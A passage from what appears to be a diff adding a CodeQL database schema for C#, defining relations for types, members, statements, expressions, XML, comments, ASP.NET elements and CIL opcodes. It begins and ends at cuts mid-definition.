artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = 